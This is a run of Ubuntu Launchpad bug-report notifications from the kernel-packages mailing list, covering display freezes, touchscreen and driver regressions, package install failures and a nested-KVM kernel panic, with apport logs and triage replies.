AplayDevices: Error: [Errno 2] No such file or directory: 'aplay': 'aplay' ApportVersion: 2.20.10-0ubuntu7 Architecture: amd64 ArecordDevices: Error: [Errno 2] No such file or directory: 'arecord': 'arecord' AudioDevicesInUse: Error: command [
[Kernel-packages] [Bug 1784473] Re: [radeon] Ubuntu boots to a black screen
After installing upstream kernel the issue is solved though boot time is long. I get this screen(https://ibb.co/isQYTz) after selecting the kernel from grub, not an issue to me but thought to inform you. Also can I remove the kernel because had remove virtualbox ** Description changed: After a fresh install of ubuntu 18.04LTS(dual booted with windows 7) when I selected ubuntu from the grub menu to boot into the OS. But I got a black screen I waited for few seconds but I was still at black screen. So, I forced shutdown the laptop. Again in second attempt to login I got black screen this time I waited for more than a minute and pressed power button once which suspended the pc then I pressed enter and I was presented with login screen. To solve the problem I followed this guide https://askubuntu.com/questions/1029624/ubuntu-18-04-live-boot-leads-to- blank-screen and changed quiet splash to nomodeset quiet splash. After applying this fix there was no black screen at the time of login, but the laptop started to freeze randomly even when left idle for more than 30 mins it would freeze. I had force shutdown each time and this happened very frequently. I again changed nomodeset quiet splash to quiet splash, which again leads to black screen after selecting ubuntu from the grub menu. I also did RAM test using Memtest86 from GRUB and everything was fine systemd-analyze time Startup finished in 6.015s (kernel) + 1min 26.820s (userspace) = 1min 32.836s graphical.target reached after 1min 25.472s in userspace ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: xorg 1:7.7+19ubuntu7 ProcVersionSignature: Ubuntu 4.15.0-29.31-generic 4.15.18 Uname: Linux 4.15.0-29-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Tue Jul 31 00:17:48 2018 DistUpgraded: Fresh install DistroCodename: bionic DistroVariant: ubuntu DkmsStatus: virtualbox, 5.2.10, 4.15.0-29-generic, x86_64: installed ExtraDebuggingInterest: Yes GpuHangFrequency: Several times a day GpuHangReproducibility: Seems to happen randomly GpuHangStarted: Immediately after installing this version of Ubuntu GraphicsCard: - Advanced Micro Devices, Inc. [AMD/ATI] Sumo [Radeon HD 6480G] [1002:9648] (prog-if 00 [VGA controller]) -Subsystem: Hewlett-Packard Company Sumo [Radeon HD 6480G] [103c:3564] + Advanced Micro Devices, Inc. [AMD/ATI] Sumo [Radeon HD 6480G] [1002:9648] (prog-if 00 [VGA controller]) + Subsystem: Hewlett-Packard Company Sumo [Radeon HD 6480G] [103c:3564] InstallationDate: Installed on 2018-07-26 (4 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) MachineType: Hewlett-Packard HP Pavilion g4 Notebook PC ProcEnviron: - PATH=(custom, no user) - XDG_RUNTIME_DIR= - LANG=en_IN - SHELL=/bin/bash + PATH=(custom, no user) + XDG_RUNTIME_DIR= + LANG=en_IN + SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-29-generic root=UUID=007c6619-ca84-4c0f-8b16-7fa740dc0c3e ro quiet splash vt.handoff=1 SourcePackage: xorg Symptom: display Title: Xorg freeze UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 01/24/2014 dmi.bios.vendor: Insyde dmi.bios.version: F.6D dmi.board.asset.tag: Base Board Asset Tag dmi.board.name: 3564 dmi.board.vendor: Hewlett-Packard dmi.board.version: 21.47 dmi.chassis.type: 10 dmi.chassis.vendor: Hewlett-Packard dmi.chassis.version: Chassis Version dmi.modalias: dmi:bvnInsyde:bvrF.6D:bd01/24/2014:svnHewlett-Packard:pnHPPaviliong4NotebookPC:pvr06911320461610100:rvnHewlett-Packard:rn3564:rvr21.47:cvnHewlett-Packard:ct10:cvrChassisVersion: dmi.product.family: 103C_5335KV G=N L=CON B=HP S=PAV dmi.product.name: HP Pavilion g4 Notebook PC dmi.product.version: 06911320461610100 dmi.sys.vendor: Hewlett-Packard version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.91-2 version.libgl1-mesa-dri: libgl1-mesa-dri 18.0.5-0ubuntu0~18.04.1 version.libgl1-mesa-glx: libgl1-mesa-glx 18.0.5-0ubuntu0~18.04.1 version.xserver-xorg-core: xserver-xorg-core 2:1.19.6-1ubuntu4 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:18.0.1-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20171229-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.15-2 - --- + --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 AudioDevicesInUse: - USERPID ACCESS COMMAND - /dev/snd/controlC1: amit 2479 F pulseaudio - /dev/snd/controlC0: amit 2479 F pulseaudio + USERPID ACCESS COMMAND + /dev/snd/controlC1: amit 2479 F pulseaudio + /dev/snd/controlC0: amit 2479 F pulseaudio CurrentDes
[Kernel-packages] [Bug 1784303] Re: linux-aws: 4.4.0-1026.27 -proposed tracker
** Summary changed: - linux-aws: -proposed tracker + linux-aws: 4.4.0-1026.27 -proposed tracker ** Changed in: kernel-sru-workflow/prepare-package Status: New => In Progress ** Changed in: kernel-sru-workflow/prepare-package Assignee: Canonical Kernel Team (canonical-kernel-team) => Khaled El Mously (kmously) ** Changed in: kernel-sru-workflow/prepare-package-meta Status: New => In Progress ** Changed in: kernel-sru-workflow/prepare-package-meta Assignee: Canonical Kernel Team (canonical-kernel-team) => Khaled El Mously (kmously) -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-aws in Ubuntu. https://bugs.launchpad.net/bugs/1784303 Title: linux-aws: 4.4.0-1026.27 -proposed tracker Status in Kernel SRU Workflow: In Progress Status in Kernel SRU Workflow automated-testing series: New Status in Kernel SRU Workflow certification-testing series: Invalid Status in Kernel SRU Workflow prepare-package series: In Progress Status in Kernel SRU Workflow prepare-package-meta series: In Progress Status in Kernel SRU Workflow promote-to-proposed series: New Status in Kernel SRU Workflow promote-to-security series: New Status in Kernel SRU Workflow promote-to-updates series: New Status in Kernel SRU Workflow regression-testing series: New Status in Kernel SRU Workflow security-signoff series: New Status in Kernel SRU Workflow upload-to-ppa series: New Status in Kernel SRU Workflow verification-testing series: New Status in linux-aws package in Ubuntu: Invalid Bug description: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- kernel-stable-master-bug: 1784302 To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1784303/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784172] Re: Touchscreen does not work anymore on dell venue 11 pro 7139 on kernels 4.13 and above
Did this issue start happening after an update/upgrade? Was there a prior kernel version where you were not having this particular problem? Would it be possible for you to test the latest upstream kernel? Refer to https://wiki.ubuntu.com/KernelMainlineBuilds . Please test the latest v4.18 kernel[0]. If this bug is fixed in the mainline kernel, please add the following tag 'kernel-fixed-upstream'. If the mainline kernel does not fix this bug, please add the tag: 'kernel-bug-exists-upstream'. Once testing of the upstream kernel is complete, please mark this bug as "Confirmed". Thanks in advance. [0] http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.18-rc7 ** Changed in: linux (Ubuntu) Importance: Undecided => Medium ** Changed in: linux (Ubuntu) Status: Confirmed => Incomplete -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784172 Title: Touchscreen does not work anymore on dell venue 11 pro 7139 on kernels 4.13 and above Status in linux package in Ubuntu: Incomplete Bug description: p@p-Venue-11-Pro-7139:~/$ $ cat ./dmesg_4.12.14.txt | grep i2c [1.953029] i2c /dev entries driver [2.230390] i2c_hid i2c-SMO91D0:00: i2c-SMO91D0:00 supply vdd not found, using dummy regulator [2.338340] i2c_hid i2c-SYNA7500:00: i2c-SYNA7500:00 supply vdd not found, using dummy regulator [4.836205] input: SYNA7500:00 06CB:6D6B Pen as /devices/pci:00/INT33C3:00/i2c-1/i2c-SYNA7500:00/0018:06CB:6D6B.0002/input/input8 [4.836462] input: SYNA7500:00 06CB:6D6B as /devices/pci:00/INT33C3:00/i2c-1/i2c-SYNA7500:00/0018:06CB:6D6B.0002/input/input9 [4.836824] hid-multitouch 0018:06CB:6D6B.0002: input,hidraw2: I2C HID v1.00 Device [SYNA7500:00 06CB:6D6B] on i2c-SYNA7500:00 [4.962323] i2c_hid i2c-SMO91D0:00: failed to retrieve report from device. $ cat ./xinput_4.12.14.txt ⎡ Virtual core pointerid=2[master pointer (3)] ⎜ ↳ Virtual core XTEST pointer id=4[slave pointer (2)] ⎜ ↳ Synaptics T Pad V 01.31 Touchpadid=10 [slave pointer (2)] ⎜ ↳ SYNA7500:00 06CB:6D6B id=16 [slave pointer (2)] ⎜ ↳ A4tech Bluetooth 3.0 Mouse 630 id=19 [slave pointer (2)] ⎣ Virtual core keyboard id=3[master keyboard (2)] ↳ Virtual core XTEST keyboard id=5[slave keyboard (3)] ↳ Power Buttonid=6[slave keyboard (3)] ↳ Video Bus id=7[slave keyboard (3)] ↳ Power Buttonid=8[slave keyboard (3)] ↳ Integrated Webcam id=9[slave keyboard (3)] ↳ Synaptics T Pad V 01.31 id=11 [slave keyboard (3)] ↳ Synaptics T Pad V 01.31 id=12 [slave keyboard (3)] ↳ Integrated_Webcam_8Mid=13 [slave keyboard (3)] ↳ Intel Virtual Button driver id=14 [slave keyboard (3)] ↳ SYNA7500:00 06CB:6D6B Pen id=15 [slave keyboard (3)] ↳ AT Translated Set 2 keyboardid=17 [slave keyboard (3)] ↳ Dell WMI hotkeysid=18 [slave keyboard (3)] $ cat ./dmesg_4.13.1.txt | grep i2c [1.970899] i2c /dev entries driver [2.116106] i2c_hid i2c-SMO91D0:00: i2c-SMO91D0:00 supply vdd not found, using dummy regulator [5.060363] i2c_hid i2c-SMO91D0:00: failed to retrieve report from device. cat ./xinput_4.13.1.txt ⎡ Virtual core pointerid=2[master pointer (3)] ⎜ ↳ Virtual core XTEST pointer id=4[slave pointer (2)] ⎜ ↳ Synaptics T Pad V 01.31 Touchpadid=10 [slave pointer (2)] ⎜ ↳ A4tech Bluetooth 3.0 Mouse 630 id=17 [slave pointer (2)] ⎣ Virtual core keyboard id=3[master keyboard (2)] ↳ Virtual core XTEST keyboard id=5[slave keyboard (3)] ↳ Power Buttonid=6[slave keyboard (3)] ↳ Video Bus id=7[slave keyboard (3)] ↳ Power Buttonid=8[slave keyboard (3)] ↳ Integrated Webcam: Integrated W id=9[slave keyboard (3)] ↳ Synaptics T Pad V 01.31 id=11 [slave keyboard (3)] ↳ Synaptics T Pad V 01.31 id=12 [slave keyboard (3)] ↳ Integrated_Webcam_8M: Rear Inte id=13 [slave keyboard (3)] ↳ Intel Virtual Button driver id=14 [slave keyboar
[Kernel-packages] [Bug 1784261] Re: package linux-image-4.13.0-38-generic 4.13.0-38.43~16.04.1 failed to install/upgrade: package linux-image-4.13.0-38-generic is not ready for configuration cannot co
You may need to run the following from a terminal: sudo apt-get install -f sudo apt-get clean sudo apt-get update Then re-install the package or updates. If that does not resolve your issue, please mark the bug as "Confirmed" ** Package changed: linux-hwe (Ubuntu) => linux (Ubuntu) ** Changed in: linux (Ubuntu) Importance: Undecided => Medium ** Changed in: linux (Ubuntu) Status: New => Incomplete -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784261 Title: package linux-image-4.13.0-38-generic 4.13.0-38.43~16.04.1 failed to install/upgrade: package linux-image-4.13.0-38-generic is not ready for configuration cannot configure (current status 'half-installed') Status in linux package in Ubuntu: Incomplete Bug description: partial install ProblemType: Package DistroRelease: Ubuntu 16.04 Package: linux-image-4.13.0-38-generic 4.13.0-38.43~16.04.1 ProcVersionSignature: Ubuntu 4.13.0-43.48~16.04.1-generic 4.13.16 Uname: Linux 4.13.0-43-generic x86_64 ApportVersion: 2.20.1-0ubuntu2.18 Architecture: amd64 Date: Sun Jul 29 21:26:51 2018 DuplicateSignature: package:linux-image-4.13.0-38-generic:4.13.0-38.43~16.04.1 Processing triggers for ureadahead (0.100.0-19) ... dpkg: error processing package linux-image-4.13.0-36-generic (--configure): package linux-image-4.13.0-36-generic is not ready for configuration ErrorMessage: package linux-image-4.13.0-38-generic is not ready for configuration cannot configure (current status 'half-installed') InstallationDate: Installed on 2018-04-20 (100 days ago) InstallationMedia: Ubuntu-GNOME 16.04.4 LTS "Xenial Xerus" - Release amd64 (20180228) RelatedPackageVersions: dpkg 1.18.4ubuntu1.4 apt 1.2.27 SourcePackage: linux-hwe Title: package linux-image-4.13.0-38-generic 4.13.0-38.43~16.04.1 failed to install/upgrade: package linux-image-4.13.0-38-generic is not ready for configuration cannot configure (current status 'half-installed') UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1784261/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784318] Re: System error
Did this issue start happening after an update/upgrade? Was there a prior kernel version where you were not having this particular problem? Would it be possible for you to test the latest upstream kernel? Refer to https://wiki.ubuntu.com/KernelMainlineBuilds . Please test the latest v4.18 kernel[0]. If this bug is fixed in the mainline kernel, please add the following tag 'kernel-fixed-upstream'. If the mainline kernel does not fix this bug, please add the tag: 'kernel-bug-exists-upstream'. Once testing of the upstream kernel is complete, please mark this bug as "Confirmed". Thanks in advance. [0] http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.18-rc7 ** Changed in: linux (Ubuntu) Importance: Undecided => Medium ** Changed in: linux (Ubuntu) Status: Confirmed => Incomplete -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784318 Title: System error Status in linux package in Ubuntu: Incomplete Bug description: version: Ubuntu 4.4.0-130.156-generic 4.4.134 lspci -vnvn: 00:00.0 Host bridge [0600]: Intel Corporation 4th Gen Core Processor DRAM Controller [8086:0c00] (rev 06) Subsystem: Lenovo 4th Gen Core Processor DRAM Controller [17aa:3098] Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx- Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=fast >TAbort- SERR- Kernel driver in use: hsw_uncore 00:02.0 VGA compatible controller [0300]: Intel Corporation Xeon E3-1200 v3/4th Gen Core Processor Integrated Graphics Controller [8086:0412] (rev 06) (prog-if 00 [VGA controller]) Subsystem: Lenovo Xeon E3-1200 v3/4th Gen Core Processor Integrated Graphics Controller [17aa:3098] Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx+ Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=fast >TAbort- SERR- [disabled] Capabilities: [90] MSI: Enable+ Count=1/1 Maskable- 64bit- Address: fee0800c Data: 4142 Capabilities: [d0] Power Management version 2 Flags: PMEClk- DSI+ D1- D2- AuxCurrent=0mA PME(D0-,D1-,D2-,D3hot-,D3cold-) Status: D0 NoSoftRst- PME-Enable- DSel=0 DScale=0 PME- Capabilities: [a4] PCI Advanced Features AFCap: TP+ FLR+ AFCtrl: FLR- AFStatus: TP- Kernel driver in use: i915 Kernel modules: i915 00:03.0 Audio device [0403]: Intel Corporation Xeon E3-1200 v3/4th Gen Core Processor HD Audio Controller [8086:0c0c] (rev 06) Subsystem: Lenovo Xeon E3-1200 v3/4th Gen Core Processor HD Audio Controller [17aa:3098] Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx+ Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- Reset- FastB2B- PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn- Capabilities: [40] Express (v2) Root Port (Slot+), MSI 00 DevCap: MaxPayload 128 bytes, PhantFunc 0 ExtTag- RBE+ DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported- RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- MaxPayload 128 bytes, MaxReadReq 128 bytes DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr+ TransPend- LnkCap: Port #1, Speed 5GT/s, Width x1, ASPM L0s L1, Exit Latency L0s <1us, L1 <4us ClockPM- Surprise- LLActRep+ BwNot+ ASPMOptComp- LnkCtl: ASPM L0s L1 Enabled; RCB 64 bytes Disabled- CommClk- ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt- LnkSta: Speed 2.5GT/s, Width x0, TrErr- Train- SlotClk+ DLActive- BWMgmt- ABWMgmt- SltCap: AttnBtn- PwrCtrl- MRL- AttnInd- PwrInd- HotPlug+ Surprise+ Slot #0, PowerLimit 0.000W; Interlock- NoCompl+ SltCtl: Enable: AttnBtn- PwrFlt- MRL- PresDet+ CmdCplt- HPIrq+ LinkChg+ Control: AttnInd Unknown, PwrInd Unknown, Power- Interlock- SltSta: Status: AttnBtn- PowerFlt- MRL- CmdCplt- PresDet- Interlock- Changed: MRL- PresDet- LinkState- RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna+ CRSVisible- RootCap: CRSVisible- RootSta: PME ReqID , PMEStatus- PMEPending- DevCap2: Completion Timeout: Range ABC, TimeoutDis+, LTR+, OBFF Via WAKE# ARIFwd- DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR+, OBFF Disabled ARIFwd- LnkCtl2: Target Link Speed: 5GT/s, EnterCompliance- SpeedDis-
[Kernel-packages] [Bug 1784535] Re: ubuntu_quota_smoke_test failed with KVM kernel
** Also affects: linux-kvm (Ubuntu Bionic) Importance: Undecided Status: New ** Also affects: linux-kvm (Ubuntu Xenial) Importance: Undecided Status: New -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-kvm in Ubuntu. https://bugs.launchpad.net/bugs/1784535 Title: ubuntu_quota_smoke_test failed with KVM kernel Status in ubuntu-kernel-tests: New Status in linux-kvm package in Ubuntu: New Status in linux-kvm source package in Xenial: New Status in linux-kvm source package in Bionic: New Bug description: According to Kamal's comment: CONFIG_QUOTA (and various other quota-related-looking configs) appear to be enabled already in the linux-kvm kernels -- but the required modules just end up in the regular linux-modules package (e.g. linux-modules-x.y.z-a.b-kvm) However even with the linux-modules-x.y.z-a.b-kvm package installed, this test will still fail with KVM kernel. $ sudo /home/ubuntu/autotest/client/tests/ubuntu_quota_smoke_test/ubuntu_quota_smoke_test.sh Using block device /dev/loop0 for path /home/ubuntu/mnt PASSED (quotacheck -vucmg) quotaon: using /home/ubuntu/mnt/aquota.group on /dev/loop0 [/home/ubuntu/mnt]: No such process quotaon: Quota format not supported in kernel. quotaon: using /home/ubuntu/mnt/aquota.user on /dev/loop0 [/home/ubuntu/mnt]: No such process quotaon: Quota format not supported in kernel. FAILED (quotaon -v) Summary: 1 passed, 1 failed ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: linux-image-4.15.0-1016-kvm 4.15.0-1016.16 ProcVersionSignature: User Name 4.15.0-1016.16-kvm 4.15.18 Uname: Linux 4.15.0-1016-kvm x86_64 NonfreeKernelModules: zfs zunicode zavl icp zcommon znvpair ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 Date: Tue Jul 31 03:59:45 2018 SourcePackage: linux-kvm UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-kernel-tests/+bug/1784535/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784540] Re: Nvidia G94 [GeForce 9600 GT] Driver doesn't load properly
** Changed in: linux (Ubuntu) Importance: Undecided => Medium ** Package changed: linux (Ubuntu) => nvidia-graphics-drivers-304 (Ubuntu) ** Changed in: nvidia-graphics-drivers-304 (Ubuntu) Status: Incomplete => New -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784540 Title: Nvidia G94 [GeForce 9600 GT] Driver doesn't load properly Status in nvidia-graphics-drivers-304 package in Ubuntu: New Bug description: Main Linux Mint 18.3 "Sylvia" Base Ubuntu xenial. After Upgrade to linux kernal 4.15.0-29 nvidia-340 (recommended) installed but fails to display alternative resolution settings and fails to recognise the second monitor. Version 340.104-0ubuntu0.16.04.1 NVIDIA binary driver - version 340.104 nvidia-304 installed but fails to display alternative resolution settings and fails to recognise the second monitor. Version 304.135.0ubuntu0.16.04.2 NVIDIA legacy binary driver - version 304.135 this all works ok with the previous kernal 4.13.0-45 I haven't tried the xserver-xorg-video-nouveau (open-source) driver yet. If after trying it I am still having problems I will endeavour to update this bug report if I can get to it. === lsb_release -rd Description: Linux Mint 18.3 Sylvia Release: 18.3 === --- ApportVersion: 2.20.1-0ubuntu2.18 Architecture: i386 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: administrator 3071 F pulseaudio CurrentDesktop: MATE DistroRelease: Linux 18.3 HibernationDevice: RESUME=UUID=1cd525be-8127-439c-aa6e-c91c051c995c InstallationDate: Installed on 2018-06-16 (44 days ago) InstallationMedia: Linux Mint 18.3 "Sylvia" - Release i386 20171124 IwConfig: lono wireless extensions. enp5s0no wireless extensions. MachineType: Gigabyte Technology Co., Ltd. EP45-UD3P Package: linux (not installed) ProcFB: 0 nouveaufb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-29-generic root=UUID=ecc21d3e-2058-4bbc-83fd-5a294c65fb6b ro quiet splash vt.handoff=7 ProcVersionSignature: Ubuntu 4.15.0-29.31~16.04.1-generic 4.15.18 RelatedPackageVersions: linux-restricted-modules-4.15.0-29-generic N/A linux-backports-modules-4.15.0-29-generic N/A linux-firmware 1.157.20 RfKill: Tags: sylvia Uname: Linux 4.15.0-29-generic i686 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm audio cdrom dialout dip fax floppy lpadmin netdev plugdev sambashare scanner sudo tape vboxusers video _MarkForUpload: True dmi.bios.date: 02/24/2009 dmi.bios.vendor: Award Software International, Inc. dmi.bios.version: F8 dmi.board.name: EP45-UD3P dmi.board.vendor: Gigabyte Technology Co., Ltd. dmi.board.version: x.x dmi.chassis.type: 3 dmi.chassis.vendor: Gigabyte Technology Co., Ltd. dmi.modalias: dmi:bvnAwardSoftwareInternational,Inc.:bvrF8:bd02/24/2009:svnGigabyteTechnologyCo.,Ltd.:pnEP45-UD3P:pvr:rvnGigabyteTechnologyCo.,Ltd.:rnEP45-UD3P:rvrx.x:cvnGigabyteTechnologyCo.,Ltd.:ct3:cvr: dmi.product.name: EP45-UD3P dmi.sys.vendor: Gigabyte Technology Co., Ltd. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/nvidia-graphics-drivers-304/+bug/1784540/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784393] Re: Kernel Crash when running on nested environment
Did this issue start happening after an update/upgrade? Was there a prior kernel version where you were not having this particular problem? Would it be possible for you to test the latest upstream kernel? Refer to https://wiki.ubuntu.com/KernelMainlineBuilds . Please test the latest v4.18 kernel[0]. If this bug is fixed in the mainline kernel, please add the following tag 'kernel-fixed-upstream'. If the mainline kernel does not fix this bug, please add the tag: 'kernel-bug-exists-upstream'. Once testing of the upstream kernel is complete, please mark this bug as "Confirmed". Thanks in advance. [0] http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.18-rc7 ** Changed in: linux (Ubuntu) Importance: Undecided => High ** Tags added: kernel-da-key -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784393 Title: Kernel Crash when running on nested environment Status in linux package in Ubuntu: Incomplete Bug description: When running an Ubuntu 17.10 or 18.04 VM and then running a Kata- Container (which creates a new VM), sometimes I get a kernel Panic in the First VM launched. I don't know what is the Host distro, since this is a cloud environment. Using this script, it is easily reproducible: https://gist.github.com/chavafg/d00fa4dbefb144e6b7eeceb5e1ad9c65 This is the kernel panic got from Ubuntu 17.10: [ 7893.642642] general protection fault: [#1] SMP PTI [ 7893.644919] Modules linked in: vhost_net vhost macvtap macvlan tap veth kvm_intel kvm irqbypass ipt_MASQUERADE nf_nat_masquerade_ipv4 nf_conntrack_netlink nfnetlink xfrm_user xfrm_algo iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 xt_addrtype iptable_filter xt_conntrack nf_nat nf_conntrack br_netfilter bridge stp llc overlay nls_iso8859_1 ppdev crct10dif_pclmul crc32_pclmul ghash_clmulni_intel joydev input_leds serio_raw parport_pc parport ib_iser rdma_cm iw_cm ib_cm ib_core iscsi_tcp libiscsi_tcp libiscsi scsi_transport_iscsi ip_tables x_tables autofs4 btrfs raid10 raid456 async_raid6_recov async_memcpy async_pq async_xor async_tx xor raid6_pq libcrc32c raid1 raid0 multipath linear hid_generic usbhid hid aesni_intel aes_x86_64 crypto_simd floppy cryptd glue_helper psmouse virtio_net virtio_blk [ 7893.49] [last unloaded: irqbypass] [ 7893.667910] CPU: 0 PID: 0 Comm: swapper/0 Not tainted 4.13.0-45-generic #50-Ubuntu [ 7893.670283] Hardware name: RDO OpenStack Compute, BIOS 1.11.0-2.el7 04/01/2014 [ 7893.672483] task: b0412480 task.stack: b040 [ 7893.674218] RIP: 0010:native_write_cr4+0x4/0x10 [ 7893.675549] RSP: 0018:8b08bfc03f50 EFLAGS: 00010006 [ 7893.677138] RAX: 000626f0 RBX: RCX: 8b08bfc23cd0 [ 7893.679254] RDX: 8b08bfc14020 RSI: 8b08bfc23cd0 RDI: 000606f0 [ 7893.681478] RBP: 8b08bfc03f50 R08: 0a6d223ad8ee R09: 8b08ac931800 [ 7893.683695] R10: 0001001cf7c1 R11: 0061 R12: 00023cd0 [ 7893.685895] R13: 0001 R14: 8b08bff4a800 R15: 0008a000 [ 7893.688171] FS: () GS:8b08bfc0() knlGS: [ 7893.690855] CS: 0010 DS: ES: CR0: 80050033 [ 7893.692658] CR2: 7fb2f8fdc020 CR3: 00035b80a003 CR4: 000626f0 [ 7893.694909] Call Trace: [ 7893.695837] [ 7893.696664] hardware_disable+0x99/0xb0 [kvm_intel] [ 7893.698380] kvm_arch_hardware_disable+0x19/0x40 [kvm] [ 7893.700043] hardware_disable_nolock+0x2b/0x30 [kvm] [ 7893.701712] flush_smp_call_function_queue+0x5c/0x100 [ 7893.703335] generic_smp_call_function_single_interrupt+0x13/0x30 [ 7893.705321] smp_call_function_interrupt+0x2d/0x40 [ 7893.706883] call_function_interrupt+0x1af/0x1c0 [ 7893.708529] [ 7893.709361] RIP: 0010:native_safe_halt+0x6/0x10 [ 7893.710878] RSP: 0018:b0403df8 EFLAGS: 0246 ORIG_RAX: ff03 [ 7893.713311] RAX: afb1be10 RBX: b0660720 RCX: [ 7893.715635] RDX: RSI: RDI: [ 7893.717890] RBP: b0403df8 R08: 0002 R09: 8b08ac931800 [ 7893.720044] R10: 0001001cf7c1 R11: 0061 R12: [ 7893.722234] R13: R14: 8b08bff4a800 R15: 0008a000 [ 7893.724426] ? __cpuidle_text_start+0x8/0x8 [ 7893.725828] default_idle+0x20/0x100 [ 7893.727209] arch_cpu_idle+0x15/0x20 [ 7893.728450] default_idle_call+0x23/0x30 [ 7893.729613] do_idle+0x16f/0x1e0 [ 7893.730643] cpu_startup_entry+0x73/0x80 [ 7893.731825] rest_init+0xbc/0xc0 [ 7893.732840] start_kernel+0x4c8/0x4e9 [ 7893.733974] ? early_idt_handler_array+0x120/0x120 [ 7893.735306] x86_64_start_reservations+0x24/0x26 [ 7893.736607] x86_64_start_kernel+0x13a/0x15d [ 7893.737887]
[Kernel-packages] [Bug 1784655] Re: ACPI Exception
Would it be possible for you to test the latest upstream kernel? Refer to https://wiki.ubuntu.com/KernelMainlineBuilds . Please test the latest v4.18 kernel[0]. If this bug is fixed in the mainline kernel, please add the following tag 'kernel-fixed-upstream'. If the mainline kernel does not fix this bug, please add the tag: 'kernel-bug-exists-upstream'. Once testing of the upstream kernel is complete, please mark this bug as "Confirmed". Thanks in advance. [0] http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.18-rc7 ** Changed in: linux (Ubuntu) Importance: Undecided => Medium ** Changed in: linux (Ubuntu) Status: Confirmed => Incomplete ** Tags added: needs-bisect -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784655 Title: ACPI Exception Status in linux package in Ubuntu: Incomplete Bug description: After Upgrading from 16.04.1 LTS to 18.04.1 LTS (Kernel 4.15.0-29-generic) Error during boot.. system works as aspected. 0.120887] ACPI: Added _OSI(Module Device) [0.120887] ACPI: Added _OSI(Processor Device) [0.120887] ACPI: Added _OSI(3.0 _SCP Extensions) [0.120887] ACPI: Added _OSI(Processor Aggregator Device) [0.120887] ACPI: Added _OSI(Linux-Dell-Video) 